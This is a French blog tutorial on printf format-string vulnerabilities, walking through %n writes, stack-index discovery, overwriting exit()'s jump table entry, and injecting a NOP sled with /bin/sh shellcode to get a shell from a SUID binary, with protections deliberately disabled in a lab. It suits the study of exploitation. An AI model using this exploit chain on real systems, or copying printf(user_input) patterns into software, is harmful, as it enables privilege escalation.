Shellcode via printf

 druide

Vulnérabilité
printf

Rien de nouveau dans ce post. Une vulnérabilité connue de la fonction
printf
si elle est mal utilisée. Encore une fois, il s'agit de comprendre les mécanismes mis en jeu pour exploiter la faille.

printf %n

En avant propos, voyons le format
%n
. La fonction
printf
possède un argument de formatage
%n
qui permet d'écrire dans une variable le nombre de caractère que la fonction
printf
a envoyé sur la sortie standard avant de rencontrer
%n
. Ainsi, le programme suivant

 #include <stdio.h>

int main(int argc, char** argv)
{
	int i;
	printf("John Doe%n\n", &i);
	printf("la variable `i` à l’adresse %p contient %d\n", &i, i);
	return 0;
}


Une fois compilé donne


druide@druid.es:~$ ./demo 
John Doe
la variable `i` à l’adresse 0x7fffae575f6c contient 8



Fonctionnement de
printf

La fonction
printf
tire ses arguments de la pile (stack)
     Stack (pile)
	╔════════════════════════════╗
	║ valeur de l'adresse de `i` ║ ← pointeur interne à printf
	╟────────────────────────────╢ 
	║ valeur de i                ║ le pointeur interne se déplace
	╟────────────────────────────╢ dans cette direction
	║ ??????                     ║  ↓
	╟────────────────────────────╢  ↓
	║ ??????                     ║
	╟────────────────────────────╢
	║ ??????                     ║
↑	╟────────────────────────────╢
↑	║ ??????                     ║
↑	╚════════════════════════════╝
Les adresses de la stack augmente
dans ce sens


Que se passe-t-il avec le programme suivant


#include <stdio.h>

int main(int argc, char** argv)
{
	int i, a, b;
	printf("John Doe%n\n", &i);
	printf("la variable `i` à l'adresse %p contient %d\n" \
		   "Qui a-t-il dans celle-ci -> %p %p %p %p\n", &i, i);
	return 0;
}
Les chaînes de formattage pour la fonction
printf
ne sont pas forcément connues à l'avance dans un programme et plusieurs paramètres peuvent être passé à
printf
, on le voit avec les ... dans la signature de fonction de la page de man

int printf(const char *format, ...);


Le compilateur ne peut donc pas refuser de compiler ce programme. Au mieux, il peut nous rendre attentif à cet éventuel problème


druide@druid.es:~$ gcc -o demo demo.c
demo.c: In function ‘main’:
demo.c:7:2: warning: format ‘%p’ expects a matching ‘void *’ argument [-Wformat=]
  printf("la variable `i` à l'adresse %p contient %d\n" \
  ^
demo.c:7:2: warning: format ‘%p’ expects a matching ‘void *’ argument [-Wformat=]
demo.c:7:2: warning: format ‘%p’ expects a matching ‘void *’ argument [-Wformat=]
demo.c:7:2: warning: format ‘%p’ expects a matching ‘void *’ argument [-Wformat=]

druide@druid.es:~$ ./demo
John Doe
la variable `i` à l’adresse 0x7ffd4c95f11c contient 8
Qui a-t-il dans celle-ci -> 0x8 0xffffffff (nil) 0x7ffd4c95f208
Comme la fonction
printf
doit affichée 4 arguments supplémentaires, elle va les chercher à la suite dans la pile. On a donc exploré la pile du programme...

Vulnérabilité

La fonction
printf
devient vulnérable si elle est employé ainsi

 #include <stdio.h>

int main(int argc, char** argv)
{
	/*	
	bla bla bla
	*/

	printf(argv[1]);

	/*
	bla bla bla
	*/

	return 0;
}


Bien sûr, là c'est grossier mais le problème reste le même dans le programme suivant


#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char ** argv)
{
	char text[1024];
	if(argc!=2)
	{
		printf("Usage : %s <texte>\n",argv[0]);
		exit(0);
	}
	strncpy(text,argv[1],1023);
	printf("Voici votre texte :\n");
	printf(text);
	printf("\n");
	exit(0);
}



printf
va affiché ce qu'on lui passe en argument. Si on compose correctement nos arguments, notamment en utilisant le
%n
, on pourra lui faire écrire une valeur n'importe où dans le programme. Voyons cela avec un exemple simple pour commencer.

Exemple simple

☠☠☠☠☠☠☠☠☠☠☠☠☠☠☠
☠☠  WARNING  ☠☠
☠☠☠☠☠☠☠☠☠☠☠☠☠☠☠

À partir d'ici j'ai du désactiver les protections des OS modernes :

  • j'utilise une plateforme i686 (donc sur 32 bits, ça c'est juste pour être plus simple 😎)
  • j'ai démarré un shell en désactivant l'ASLR grâce à la commande setarch i686 -R /bin/bash
  • j'ai désactivé les protections de la stack faites par gcc grâce à l'option -fno-stack-protector
  • j'ai autorisé l'exécution de code dans la stack avec execstack -s path/to/program


Soit le programme suivant


#include <stdio.h>

int main(int argc, char** argv)
{
	int i = 0;

	printf("la variable `i` à l’adresse %p contient %d\n", &i, i);
	
	printf(argv[1]);
	putchar('\n');
	
	printf("la variable `i` à l’adresse %p contient %d\n", &i, i);
	return 0;
}

druide@hack_i386:~$ ./demo AAAA
la variable `i` à l’adresse 0xffffd77c contient 0
AAAA
la variable `i` à l’adresse 0xffffd77c contient 0


Le premier travail consiste à trouver l'endroit dans la pile où est placé notre argument, à savoir "AAAA". On peut procéder ainsi


druide@hack_i386:~$ ./demo "AAAA%x %x %x %x"
la variable `i` à l’adresse 0xffffd76c contient 0
AAAAffffd76c 0 f7e5a42d f7fd13c4
la variable `i` à l’adresse 0xffffd76c contient 0
et placer des %x jusqu'à trouver les codes ascii des caractères "AAAA" soit 41414141 mais ça peut vite être long... alors on va utiliser une autre syntaxe

druide@hack_i386:~$ for((i=0; i
C'est donc à l'indice 118 que vient se placer notre argument. On peut donc utiliser la notation %indice\$x pour visualiser notre paramètre sur la stack

druide@hack_i386:~$ ./demo "AAAA%118\$x"
la variable `i` à l’adresse 0xffffd77c contient 0
AAAA41414141
la variable `i` à l’adresse 0xffffd77c contient 0
druide@hack_i386:~$ ./demo "ABCD%118\$x"
la variable `i` à l’adresse 0xffffd77c contient 0
ABCD44434241
la variable `i` à l’adresse 0xffffd77c contient 0
Et maintenant, on peut également utiliser la notation
%n
pour modifier le contenu d'une variable

druide@hack_i386:~$ ./demo A`echo $'\x7c\xd7\xff\xff'`%118\$n
la variable `i` à l’adresse 0xffffd77c contient 0
A|���
la variable `i` à l’adresse 0xffffd77c contient 5
druide@hack_i386:~$ ./demo AAAAAAAA`echo $'\x6c\xd7\xff\xff'`%122\$n
la variable `i` à l’adresse 0xffffd76c contient 0
AAAAAAAAl���
la variable `i` à l’adresse 0xffffd76c contient 12


On voit bien que le contenu de la variable change. Mais comment c'est possible 😱 ?

Dans la commande
./demo AAAAAAAA`echo $'\x6c\xd7\xff\xff'`%122\$n
on envoi sur la stack 8x"A" suivit de l'adresse de la variable, du numéro de l'indice et du formateur
%n
, on a donc:

Indice     Stack (pile)
         ╔════════════════════╗
120      ║ 0x41414141 (AAAA)  ║ ← pointeur interne à printf
         ╟────────────────────╢ 
121      ║ 0x41414141 (AAAA)  ║ le pointeur interne se déplace
         ╟────────────────────╢ dans cette direction
122      ║ 0xffffd76c         ║  ↓
         ╟────────────────────╢  ↓
123      ║ 0x25313233 (%123)  ║
         ╟────────────────────╢
124      ║ 0x247800?? ($n)    ║
         ╟────────────────────╢
         ║ ??????             ║
         ╚════════════════════╝


Ce qui revient à faire


printf("AAAAAAAAl���%n", *0xffffd76c); // � car ce sont des caractères non-imprimables
La variable prendra donc la valeur correspondant aux nombres de caractères envoyés sur la sortie standard par
printf
avant de rencontrer %n soit
AAAAAAAA\x6c\xd7\xff\xff
donc 12 caractères.


Un moyen plus flexible pour choisir la valeur consiste à faire


druide@hack_i386:~$ ./demo %25d`echo $'\x6c\xd7\xff\xff'`%122\$n
la variable `i` à l’adresse 0xffffd76c contient 0
                   -10388l���
la variable `i` à l’adresse 0xffffd76c contient 29
On peut maintenant jouer avec la première valeur %25 pour choisir le futur contenu de la variable `i`.

druide@hack_i386:~$ ./demo %079d`echo $'\x6c\xd7\xff\xff'`%122\$n
la variable `i` à l’adresse 0xffffd76c contient 0
-000000000000000000000000000000000000000000000000000000000000000000000000010388l���
la variable `i` à l’adresse 0xffffd76c contient 83


On peut également se rendre compte que la valeur affichée correspond à l'adresse de la variable `i`


druide@hack_i386:~$ ./demo %10x`echo $'\x6c\xd7\xff\xff'`%122\$n
la variable `i` à l’adresse 0xffffd76c contient 0
  ffffd76cl���
la variable `i` à l’adresse 0xffffd76c contient 14



Un peu plus loins

Reprenons le programme suivant


#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char ** argv)
{
	char text[1024];
	if(argc!=2)
	{
		printf("Usage : %s <texte>\n",argv[0]);
		exit(0);
	}
	strncpy(text,argv[1],1023);
	printf("Voici votre texte :\n");
	printf(text); // <- Vulnérabilité
	printf("\n");
	exit(0);
}


Comment exploiter ce programme et pourquoi ? Commençons avec le pourquoi ? À priori, rien d'intéressent sauf si on imagine que le binaire est SUID root


druide@hack_i386:~$ ls -l
-rwsrwxr-x 1 root   druide 7444 May 18 10:31 demo2
Dans ce cas, il serait intéressent de pouvoir lui faire lancer un shell 😎 ce qui nous amène au comment ? La vulnérabilité est la même que dans l'exemple simple du dessus mais cette fois, on ne souhaite pas changer la valeur d'une variable... On sait qu'on peut écrire n'importe quelle valeur n'importe où. Et pourquoi pas dans le vecteur de la fonction
exit()
?

druide@hack_i386:~$ gdb -q demo2
Reading symbols from demo2...(no debugging symbols found)...done.
(gdb) disas exit
Dump of assembler code for function exit@plt:
   0x080483a0 :	jmp    *0x804a018
   0x080483a6 :	push   $0x18
   0x080483ab :	jmp    0x8048360
End of assembler dump.
Si on change le contenu de l'adresse 0x804a018, on pourra faire pointer le saut
jmp *0x804a018
où on le souhaite. Et pourquoi pas dans la stack, juste dans nos arguments. Et si on plaçait dans les arguments un shellcode.


Pour commencer, il faut trouver l'indice de nos arguments.


druide@hack_i386:~$ for((i=0; i
Bon, l'indice est a 4 cette fois. Faisons un tour dans gdb

druide@hack_i386:~$ gdb -q ./demo2
Reading symbols from ./demo2...(no debugging symbols found)...done.
(gdb) disas exit
Dump of assembler code for function exit@plt:
   0x080483a0 :	jmp    *0x804a018
   0x080483a6 :	push   $0x18
   0x080483ab :	jmp    0x8048360
End of assembler dump.
##
# L'adresse à modifier est la 0x804a018
##
# Pour l'instant il y a
##
(gdb) x 0x804a018
0x804a018 :	0x080483a6
##
# Lançons le programme en lui donnant ces valeurs de test
##
(gdb) r `echo $'\x18\xa0\x04\x08\x1a\xa0\x04\x08'`%x%1x%4\$n%1x%5\$n
Starting program: /home/druide/demo2 `echo $'\x18\xa0\x04\x08\x1a\xa0\x04\x08'`%x%1x%4\$n%1x%5\$n
Voici votre texte :
##
# Le %x juste après l'adresse se trouve environ à 0xffffd903
##
��ffffd9033ff4

##
# Ça on s'y attendait
##
Program received signal SIGSEGV, Segmentation fault.
0x00140013 in ?? ()
##
# Le programme a bien segfault à cause de notre valeur
##
(gdb) x 0x804a018
0x804a018 :	0x00140013
Bon, et bien le but du jeu sera d'écrire 0xffffd903 + offset à la place de 0x00140013 ainsi, lorsque le programme arrivera à l'appel de la fonction
exit()
, le
jmp *0x804a018
fera un saut à l'adresse 0xffffd903 + offset au lieu d'aller dans la fonction
exit()
et comme 0xffffd903 + offset correspond à nos arguments, il suffira d'ajouter un shellcode précédé de quelques
nop
pour nous donner un peu de marge avec l'offset. Première étape, la plus facile, trouver un shellcode qui démarre
/bin/sh
, lui ajouter des
nop
et le mettre dans notre appel de programme.

(gdb) r `echo $'\x18\xa0\x04\x08\x1a\xa0\x04\x08'`%x%1x%4\$n%1x%5\$n`echo $'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/druide/demo2 `echo $'\x18\xa0\x04\x08\x1a\xa0\x04\x08'`%x%1x%4\$n%1x%5\$n`echo $'\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80'`
Voici votre texte :
��ffffd8da3ff4�����������������1�Ph//shh/bin��1ɉ�j
                                                    X̀

Program received signal SIGSEGV, Segmentation fault.
0x00140013 in ?? ()
On remarque que, forcément, ça a eu une incidence sur l'adresse de nos arguments. Le %x se trouve en ffffd8da maintenant. Il faut à présent calculer les valeurs à mettre dans %4 et %5. Le résultat du calcul sera
r = MSB (%5 + %4) et LSB (%4 + ce qu'il y a avant)


%4 se trouve après l'affichage des deux adresses ainsi que l'affichage de %x. Il y a donc eu affichage de

4 octets adresse basse + 4 octets adresse haute + 4 octets de l'adresse de %x + %1 (donc la valeur 1) = 13 octets en tout. Ce qui explique l'actuelle valeur de l'adresse basse écrite dans le vecteur
exit()
Nous aimerions ffffd8da + un offset, disons de 22 en avant, soit ffffd8f0.


Calcul :

%4 = 0xd8f0 - ce qu'il y a avant  
   = 0xd8f0 - 4 octets LSB + 4 octets MSB + 4 octets @ de %x + %XXXXX (cette fois une valeur sur 4 digits)
   = 0xd8f0 - 16 octets = 5552010

%5 = 0xffff - 0xd8f0 = 999910


On quitte gdb et on réessaie depuis le shell (j'ai ajouté quelques nop)


druide@hack_i386:~$ ./demo2 `echo $'\x18\xa0\x04\x08\x1a\xa0\x04\x08'`%x%55520x%4\$n%9999x%5\$n`echo $'\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80'`

                                                                                                          4����������������������������������1�Ph//shh/bin��1ɉ�j
                                            X̀
$ ps -p $$
  PID TTY          TIME CMD
 1065 pts/0    00:00:00 sh
$ 😈

Conclusion

Si le programme est SUID, il se lance en tant que root. Je n'ai pas fait la démo car sur ma machine (OS récent), le programme se lance de nouveau avec toutes les protections actives. En effet, dans les OS modernes ce genre d'exploitation est impossible car

  • le bit NX rend la stack inexécutable. Le shellcode ne fonctionne pas s'il se trouve dans la stack
  • l'ASLR fait qu'à chaque démarrage du programme, les adresses sont aléatoires, du coup, il faudrait écrire une fois dans l'indice %4, la fois d'après dans %132 etc... et bien sûr, on ne le sait pas à l'avance
  • les SUID sont une race en voie d'extinction


Sur ma machine de test, voici les programmes qui sont SUID


druide@hack_i386:~$ sudo find / -user root -perm -4000 -exec ls -l {} \; 2> /dev/null
-rwsr-xr-x 1 root root 67704 Feb 12 18:54 /bin/umount
-rwsr-xr-x 1 root root 88752 Feb 12 18:54 /bin/mount
-rwsr-xr-x 1 root root 43316 May  7  2014 /bin/ping6
-rwsr-xr-x 1 root root 35300 Feb 17  2014 /bin/su
-rwsr-xr-x 1 root root 38932 May  7  2014 /bin/ping
-rwsr-xr-x 1 root root 66252 Feb 17  2014 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 35916 Feb 17  2014 /usr/bin/chsh
-rwsr-xr-x 1 root root 45420 Feb 17  2014 /usr/bin/passwd
-rwsr-xr-x 1 root root 30984 Feb 17  2014 /usr/bin/newgrp
-rwsr-xr-x 1 root root 44620 Feb 17  2014 /usr/bin/chfn
-rwsr-xr-x 1 root root 156708 Mar 12 16:27 /usr/bin/sudo
-rwsr-xr-x 1 root root 492972 May 12  2014 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 9612 Feb 25 16:59 /usr/lib/pt_chown
-rwsr-xr-x 1 root root 5480 Feb 25  2014 /usr/lib/eject/dmcrypt-get-device


Il y a fort à parier que, vu le petit nombre, ils sont complètement « blindés ».

Une fois de plus, il s'agissait de comprendre les mécanismes, d'apprendre et de résoudre le challenge d'un site 😇.

That's all falks

Liens

stackexchange systemoverlord.com exploit-db.com https://www.exploit-db.com/shellcode/ www.cis.syr.edu lasec.epfl.ch

  • 4 years 5 days before
  • |